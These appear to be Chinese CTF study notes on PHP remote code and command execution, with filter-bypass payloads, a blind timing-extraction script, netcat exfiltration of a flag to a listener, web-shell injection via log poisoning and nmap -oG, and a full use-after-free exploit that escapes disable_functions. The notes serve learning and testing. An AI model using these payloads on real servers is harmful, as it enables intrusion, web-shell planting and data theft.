RCE

简介

利用RCE漏洞,有两种执行方式,向后台服务器远程注入操作系统命令(即远程命令执行RemoteCommand Exec)或者远程代码执行(Remote Code Exec),顾名思义就是远程执行,通过上述的远程注入后,从而执行系统命令,进而控制后台系统。

可能存在代码执行漏洞的函数

1
2
3
eval() 把字符串当作 PHP 代码来执行,必须以分号结尾
assert()断言函数 在RCE漏洞里的作用和eval相当且不需要加分号

命令执行漏洞

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

前提条件

1.开发人员调用了能够执行系统命令的函数
2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严

执行系统命令的函数

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()、反引号

需要关注的点:函数有没有回显、需要什么参数
1、system()
提交命令->回显
2、exec()
exec ( string $command [, array &$output [, int &$return_var ]] );
如果只提供command参数只会返回最后一行,添加output参数(使用一个变量接收),内容就会填充此数组,后使用print_r或var_dump函数输出变量
windows环境使用dir参看当前目录文件

1
2
3
4
5
<?php
$cmd = 'dir';
exec($cmd,$dazhuang);
var_dump($dazhuang);
?>


ps:exec函数需要使用输出函数输出
3、passthru()
passthru(string $command…)
可以直接回显,输入指令即可,和system相似
4、shell_exec()
shell_exec(string $cmd),cmd:要执行的命令
使用echo、print输出结果,返回结果是字符串的形式

1
2
3
<?php
echo shell_exec('dir');
?>


效果和反引号一样

1
2
3
4
<?php
$cmd='dir';
echo `$cmd`;
?>

5、popen()
popen(string $command,string $mode)
mode:模式,’r’表示阅读,’w’表示写入
在r模式下,先fgets获取内容,然后print_r输出内容
相当于把命令执行的结果当作一个临时文档(进程),要选择写入或者读取

1
2
3
4
5
<?php
$s = popen('dir','r');
$b =fgets($s);
print_r($b);
?>

6、proc_open()比较麻烦,默认没有回显

7、pcntl_exec()

pcntl_ exec(string $path, array $args= ?, array $envs= ?)

path:必须是可执行二进制文件路径,args:是一个要传递给程序的参数字符串数组

LD_PRELOAD绕过

使用场景:disable_ _functions禁用所有可能用到命令执行的函数

动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接

LD_PRELOAD可以修改库文件,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

mail(常用):内嵌在php中,imagick:需要扩展安装

image-20231004152802121

image-20231004153347989

mail函数在调用sendmail后会再调用动态链接库,而LD_PRELOAD规定优先调用的动态链接库,putenv函数可以修改LD_PRELOAD

image-20231004153844400

所以我们需要上传的是demo.so(geteuid函数重定义)和demo.php

image-20231004155324153

image-20231004155404504

反弹shell不太懂,先等等

但是使用蚁剑自带的插件就能绕过disable_functions

image-20231004162921283

image-20231004165232234

linux连接符

1
2
3
4
5
| 把前面命令的输出结果当成后面命令的参数,只显示后面命令执行结果
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行后面的命令
; 顺序执行,前面指令出错不影响后面的指令执行

/bin/bash -c lsecho "ls" | /bin/bash效果一样

/bin/bash:这部分指定了要使用的 shell,指定了要使用 Bash shell。-c:用于告诉 Bash shell 后面的参数是要执行的命令,linux中的shell:bash、sh、dash等等

linux绕过

? *替代一些被过滤的关键字,让系统自动匹配

空格绕过

  • {cat,/flag}

  • $IFS //$IFS在linux下表示内部字段分隔符

  • ${IFS}

  • $IFS$9

  • <

  • <>

  • %20 (space)

  • %0a(换行)

  • %09 (tab)

  • linux命令中可以加\,所以甚至可以ca\t /fl\ag

读取文件绕过

1
2
3
4
5
6
7
8
9
10
11
tac:反向显示  
less/more:一页一页显示文件内容,敲空格显示下一页
tail:查看末尾几行,默认最后10行
nl:显示的时候,顺便标注行号
od:以二进制的方式读取文件内容 //显示是以16进制
xxd:读取二进制文件
sort:主要用于排序文件
uniq:报告或删除文件中重复的行
file -f:报错出具体内容
grep:在文本中查找某些字符串
rev:反转文件中的每一行

image-20231004172311642

od -A d -c flag.php

image-20231004172346355

xxd test.php

image-20231004172724167

/usr/bin/sort test.php 等效于 sort test.php,也可以/usr/bin/s?rt test.php,使用?自动匹配,可以在sort被过滤的时候尝试 。/usr/bin:存放用户可执行的程序

image-20231004174514182

file -f test.php

image-20231004174931318

grep fl test.php

image-20231004175411925

image-20231004175606270

编码绕过

绕过原理:命令编码后上传到服务器,绕过过滤限制,服务器解码读取命令并执行

绕过方法:base64、32、HEX编码(ascii)、shellcode(16进制的机器码)

/bin/bash、bash、sh、反引号、$()都可以实现

echo Y2F0IHRlc3QucGhw | base64 -d | /bin/bash

$(echo Y2F0IHRlc3QucGhw | base64 -d)

1
`echo Y2F0IHRlc3QucGhw | base64 -d`

image-20231004181151061

echo "74616320746573742e706870" | xxd -r -p | bash

xxd -r -p将16进制反向输出打印为ascii格式

image-20231004182710990

但是xxd是个工具,不是所有的服务器都装有,这种情况下可以使用shellcode编码绕过

printf "\x63\x61\x74\x20\x74\x65\x73\x74\x2e\x70\x68\x70" | bash也可以试一下echo,可能在目标服务器无法执行,shellcode编码可以被服务器识别
在遇到post中空格被过滤可以使用\x09,换行\x0a(攻防世界 unseping)

无回显时间盲注

页面无法shel反弹或者无法回显,或者没有写入权限,可尝试命令盲注,根据返回的时间来进行判断

1
if [ $(cat ./test.php | awk NR==1 | cut -c 1) == h  ];then sleep 2;fi

awk NR==1获取第一行,cut -c 获取单个字符,if为真则执行then,否则执行fi结束。特殊字符要\转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time
url = "http://192.168.1.6:18000/class08/1.php"
result = ""
for i in range(1,5):
for j in range(1,55):
for k in range(32,128):
k = chr(k)
time.sleep(0.1)
payload = "?cmd=" + f"if [ `ls | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload,timeout=(1.5,1.5))
except:
result = result + k
print(result)
break

长度过滤绕过

>创建文件并写入或者覆盖文件原本的内容 ,>b直接创建文件
>>追加内容
在没有写完的命令后面加\,可以将一条命令写在多行
image-20231005152101653

ls -t按修改时间排序,最新优先

1
2
3
4
5
6
>ag
>l \\
>f \\
>cat\ \\
ls -t >x
.x(sh x) //执行了cat flag

\\把后面的\转义成普通字符
dir:按列输出,不换行;d字符靠前
*相当于$(dir *):将第一个文件名作为命令,把后续的文件名作为参数,输出执行结果。ls会换行,不行

长度过滤为7绕过

image-20231006190337511

exec函数需要输出函数,这里没有,采用nc反弹,cat flag|nc 192.168.1.161:7777(cat展示内容,通过nc反弹,提交到192.168.1.161,注意管道输出符),然后kali上输入指令nc -lvp 7777来监听端口

利用过程

步骤一:倒序写入,创建文件

image-20231006191837124

\将空格实体化成字符,注意空格构造,不能输入重复指令,因为文件名不能重复,所以这里采用单独构造空格,c\ \\,t\ \\这样灵活构造,但是在长度过滤为5中空格只能单独构造
步骤二: 将文件名按顺序写入到文件ls -t >a
步骤三:执行脚本sh a

image-20231006192722087

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#encodeing:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/index.php?cmd="
s = requests.session()

list=[
'>7777'
'\ \\'
...
'>ca\\'
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl + str(i)
s.get(url)
s.get(baseurl+"sh a")

记得打开kali监听

长度限制为5绕过

内联执行绕过

//假设该目录有index.php和flag.php

  • cat `ls`相当于执行了 cat index.php;cat flag.php
  • cat $(ls) 和上面一个意思
    //可以查看该目录及子目录和隐藏目录所有文件
    find –

ctfshow中学到的新姿势

1、当;被过滤的时候要使用eval函数,由于后面;可以用?>结尾,php代码的最后一个语句可以不用;

2、当flag或者读取文件被过滤时,可以试试mv、cp

1
2
?c=system("cp fla?.php 1.txt");
?c=system("mv fla?.php 1.txt");

cp:复制文件
mv:移动文件,在同一个目录内对文件进行剪切的操作,实际应理解成重命名操作
然后访问1.txt即可

image-20231103171911467

3、当使用file_get_contents()函数需要输出

1
?c=echo file_get_contents("1.txt");

4、注意题目中是eval的时候一定要在代码后面加上`。反引号和system=反引号+echo

WEB31

image-20231103205530367

方法一:经典参数逃逸

1
?c=eval($_GET[1]);&1=system('tac flag.php');

方法二:直接绕过

1
?c=echo%09`tac%09fl*`;  

方法三:构造无参数

localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。

1
?c=print_r(scandir(pos(localeconv()))); 

可以看到当前目录下有flag.php。

image-20231103210617480

通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php 然后

1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

image-20231103210652828

web32

image-20231103203049540

过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
flag
system
php
cat
sort
shell
.

'
`
echo
;
(

并且是区分大小写的

如果要使用下面这个payload,势必要绕过(过滤,暂时不会

1
?c=eval($_GET[1]);&1=system("ls");

代码解释:第一个分号是因为外层还有一个eval,第二个分号是内层的eval

所以我们考虑其他方法。同样是传参嵌套在,这里使用的是include+伪协议读取。注意;被过滤了

1
?c=include%0a$_GET[1]?>&1=/etc/passwd

image-20231103203841690

为什么要测试这个地址的文件读取呢

因为Linux系统中的 /etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作,测试了是否可以进行文件包含

1
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include后面的%0a可以不用,这里的include如果被过滤也要想到使用require、require_once、include_once来替代

拿到flag

ps:为什么$_GET['1']可以写成$_GET[1],因为php可以向下兼容

web37

image-20231103235954752

1
?c=data://text/plain,<?php system("mv fla?.php 1.txt"); ?>

看到文件包含就要想到伪协议

如果php被过滤可以使用短标签,但是有时候短标签没有开

1
?c=data://text/plain,<?= system("mv fla?.??? 1.txt"); ?>

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

include后面虽然拼接了.php,但不影响前面<?php phpinfo();?>执行,这是文件包含的特性了

image-20231104001130588

1
?c=data://text/plain,<?php phpinfo();?>

web40

这题过滤了括号,但是是中文的括号,注意辨别,所以不影响解题

可以使用上面无参rce的经典payload,下面是ctfshow博主的题解,比较巧妙,可以学习

1
?c=print_r(get_defined_vars());   //var_dump

image-20231104001910198

也可以右键源代码更加直观

image-20231112230337261

get_defined_vars()是一个 PHP 函数,用于获取当前作用域中已定义的所有变量的列表,并将它们存储在一个关联数组中

1
post传参:1=phpinfo();

image-20231104002343239

我们可以将数组弹出,来间接获取我们想要的payload,从而达到绕过。

1
?c=print(array_pop((next((get_defined_vars())))));

image-20231104003019833

我们这里也是直接将post传参改成我们需要的了

image-20231104003059244

直接配合嵌套eval函数

逻辑是内层eval执行返回system("cat flag.php");,然后外层eval执行

1
?c=eval(array_pop((next((get_defined_vars())))));

image-20231104003153294

web41

方法一:通过脚本自动化实现

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
1
2
3
过滤了数字和字母,以及 $、+、-、^、~ 
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |

yu师傅的异或脚本

CTFshow wbe41 教你写脚本

大体上就是通过没有被过滤的可见或者不可见字符的url编码进行异或生成我们需要的被过滤字符,从而构造payload

方法二:手工构造

以上相当于使用 python 自动化脚本。当然也可以用上述得到的 txt 可用字符手动构造。rce_or.php会产生一个rce_or.txt文件,里面是可用的url组合。这里象征性地展示一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  %00 %20
! %00 %21
" %00 %22
# %00 %23
% %00 %25
' %00 %27
( %00 %28
) %00 %29
* %00 %2a
, %00 %2c
. %00 %2e
/ %00 %2f
: %00 %3a
; %00 %3b
< %00 %3c
= %00 %3d
> %00 %3e
? %00 %3f
@ %00 %40
\ %00 %5c
_ %00 %5f
` %00 %60
| %00 %7c
! %01 %20
! %01 %21
# %01 %22
# %01 %23
% %01 %25
' %01 %27
) %01 %28
) %01 %29

原理:

1
2
3
4
5
system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
1
2
3
4
5
6
7
<?php
$c='(phpinfo)()';
echo($c);
?>
输出:(phpinfo)()
传入:eval("echo($c);");
=>eval("(phpinfo)();");

所以可以直接构造

1
2
3
4
如构造一个 (system)('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s %19|%60=y %14|%60=t

构造(system)(cat flag.php)

1
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

用bp改包,hackbar试过了不行,不知道为什么

image-20231104130201014

web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
>/dev/null:
说明一下 /dev/null 说白了就是写入这个里面的内容都会丢失,读取这里面的内容什么也不会读取到
而前面的 > 表示重定向代表的是要去哪里
因为 > 前面没有数值,所以默认的是1,表示标准输出重定向到 /dev/null (空设备文件)
因此不会显示任何的数据,同时也不会读取到任何的数据

2>&1:
这里的1表示stdout标准输出,系统默认值是1,因此 > 前面没有值的时候就是默认标准输出 1>
这里的2表示stderr标准错误
&表示等同于的意思
在这里这个语句的意思就表示2的输出重定向等同于1,即标准错误输出重定向等同于标准输出
因为之前标准输出已经重定向到空设备文件,左移标准错误输出也重定向到空设备文件

这整一句话的意思是:让所有输出流(不管你是对的还是错的)都重定向到空设备文件中丢弃掉

所以关键就是不能让后面这个重定向执行下去就行

构造payload:

1
2
3
4
5
c=tac flag.php||	
c=tac flag.php%0a // %0a是url编码,表示的是换行
c=tac flag.php%26 // %26是url编码,表示的是&符

此外,php版本小于5的时候因为php的底层是C,所以截断有另外的%00可以使用

要注意的是在url中表示分隔查询参数,浏览器不会对其编码,如果要传输此字符需手动编码

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))

过滤数字的时候不代表过滤了url编码%09这样的,因为解码后不属于数字,这里%09也不受%过滤的影响

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

0x26是&的16进制,0x09是%09的16进制,两个都被过滤

payload:

1
2
3
?c=nl<fl''ag.php||
?c=nl<fl''ag.ph''p||
?c=tac<>fl''ag.php||

字符串中间加两个单引号,在执行的时候会忽略,命令也可以

web52

1
?c=cp$IFS/fla?$IFS/var/www/html/b.txt||

flag在根目录,复制到默认的网页目录var/www/html,也可以pwd查看目录确定一下

web54

1
?c=mv${IFS}fla?.php${IFS}z.txt

web55

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
?>

这种过滤了大小写字母(或者还有数字),但是保留了点和问号就可以尝试这种姿势

不写了,这篇文章讲得很清楚

https://blog.csdn.net/qq_40345591/article/details/127791317

image-20231112202231149

image-20231112202139950

要注意的是%20,@-[,不要写]

web57

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

1
c=echo file_get_contents("flag.php");

web60

法一:

1
2
c=highlight_file('flag.php'); 
c=show_source('flag.php');

法二:

1
2
c=include $_GET[1];
?1=php://filter/read=convert.base64-encode/resource=flag.php

法三:

1
2
c=include 'flag.php';echo $flag;
c=include('flag.php');echo $flag;

法四:

1
c=include('flag.php');var_dump(get_defined_vars());

包含了flag.php,那么 $flag变量就会被注册进去

image-20231112230712077

法五:

1
c=rename("flag.php","1.txt");  //然后访问1.txt

法六:虽然这题被过滤,但是可以积累一下

curl实现get和post:https://www.php.cn/c10-1.html

1
2
3
4
5
6
7
8
9
10
11
12
//初始化
  $ch = curl_init();
  //设置选项,包括URL
  curl_setopt($ch, CURLOPT_URL, "http://www.learnphp.cn");
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  //执行并获取HTML文档内容
  $output = curl_exec($ch);
  //释放curl句柄
  curl_close($ch);
  //打印获得的数据
  print_r($output);

利用:修改"http://www.learnphp.cn"

1
c=$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "file:///var/www/html/flag.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);

image-20231112234238787

被过滤了

web66

1
c=highlight_file('flag.php');

image-20231112234746414

1
c=var_dump(scandir('.'));

image-20231112234828265

1
c=var_dump(scandir('../../../'));

image-20231112234920206

1
c=highlight_file('/flag.txt');

ctfshow{45196993-0443-457f-912f-ce1bbb25c890}

web71

下载题目附件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents(); //获取输出缓冲区的内容
ob_end_clean(); //清空缓冲区
echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替换为问号'?'
}else{
highlight_file(__FILE__);
}

?>

这样会导致我们得到的数据变成无法识别的问号

image-20231120214646113

payload:

1
c=include("/flag.txt");exit(); 

web72

用上一题的payload试一试

1
c=include("/flag.txt");exit(); 

image-20231120215859623

没有那个文件,我们扫描一下

1
2
c=var_dump(scandir('/'));
c=$a=scandir('/');

image-20231120220006750

1
c=var_dump(scandir('/'));exit();

image-20231120220033245

var_dump被禁用,并且还有open_basedir限制读取目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

image-20231123213548451

web73

由于存在open_basedir配置的限制,无法使用scandir函数列出目录信息,可以使用glob协议绕过open_basedir的限制

1
2
3
4
5
6
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0);  #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
c=include('/flagc.txt');exit(0);
c=require('/flagc.txt');exit(0);
c=include_once('/flagc.txt');exit(0);
c=require_once('/flagc.txt');exit(0);

另一种读取文件的方法:

1
2
3
4
5
6
7
$a = "glob:///*.txt";
if ( $b =opendir($a) ){
while ( ($file = readdir($b)) !== false ){
echo "filename:".$file."\n";
}
closedir($b);
}exit();

他们的共同点是使用了glob://伪协议来读取文件

web 75

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);
1
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit(); 

web77

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);exit();

web79

法一:

1
?file=data://text/plain,<?= system("ls /"); ?>
1
?file=data://text/plain,<?= system("tac ./flag.*"); ?>

法二:

1
2
?file=data://text/plain,<?= eval($_POST[1]); ?>
post:1=system("tac flag.php");

image-20231126145455076

web80

1
2
3
文件头写入:User-Agent:<?php eval($_POST[1]); ?>
?file=/var/log/nginx/access.log
post:1=system("tac ./fl0g.php");

通过将恶意代码写入日志,再包含日志,传入参数,执行

[GXYCTF2019]Ping Ping Ping 1

/?ip=127.0.0.1;ls

1
2
3
4
5
6
/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

也可以/?ip=127.0.0.1|ls

1
2
3
4
5
/?ip=

flag.php
index.php

/?ip=127.0.0.1;tac flag.php

1
/?ip= fxck your space!

看来空格被过滤了

?ip=127.0.0.1;cat${IFS}flag.php

1
/?ip= 1fxck your symbol!

/?ip=127.0.0.1;cat$IFS$1flag.php

1
/?ip= fxck your flag!

发现flag也被过滤了
过滤了这么多,现在就先去看看index.php

/?ip=127.0.0.1;cat$IFS$1index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

过滤了:

1
2
& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

1、简单变量替换,覆盖拼接flag
/?ip=127.0.0.1;a=l;tac$IFS$9f$aag.php

/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b

2、内联执行
反引号在linux中作为内联执行,就是将反引号内命令的输出作为输入执行

1
/?ip=127.0.0.1;tac$IFS$9`ls`

能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;tac flag.php index.php

ps:cat和tac的区别:tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来

1、call_user_func_array()

call_user_func_array(callable $callback, array $args): mixed
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入

$_SERVER['SERVER_ADDR']:当前运行脚本所在的服务器的 IP 地址
$_SERVER['HTTP_X_FORWARDED_FOR']:客户端 IP 地址或者是代理
Nmap -oG 将命令和结果写入文件

1
2
3
4
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

escapeshellarg()+escapeshellcmd()之殇
传入参数:127.0.0.1’ -v -d a=1
经过escapeshellarg()函数处理后变为:'127.0.0.1'\'' -v -d a=1',也就是将其中的’单引号转义,再用单引号将内容包含起来
处理完的字符串再通过escapeshellcmd()函数的处理,变成:'127.0.0.1'\\'' -v -d a=1\',因为escapeshellcmd()函数对\以及最后的未闭合的’进行了转义
由于两次函数的处理,最终参数可简化成:127.0.0.1\ -v -d a=1',因为包围127.0.0.1的单引号产生了闭合,\\被解释为\,中间的两个单引号’’完成了闭合,最终留下了a=1’,也就是末尾的单引号

两边加上单引号' <?php @eval($_POST["hack"]);?> -oG hack.php '可绕过

preg_replace()的/e模式存在命令执行漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
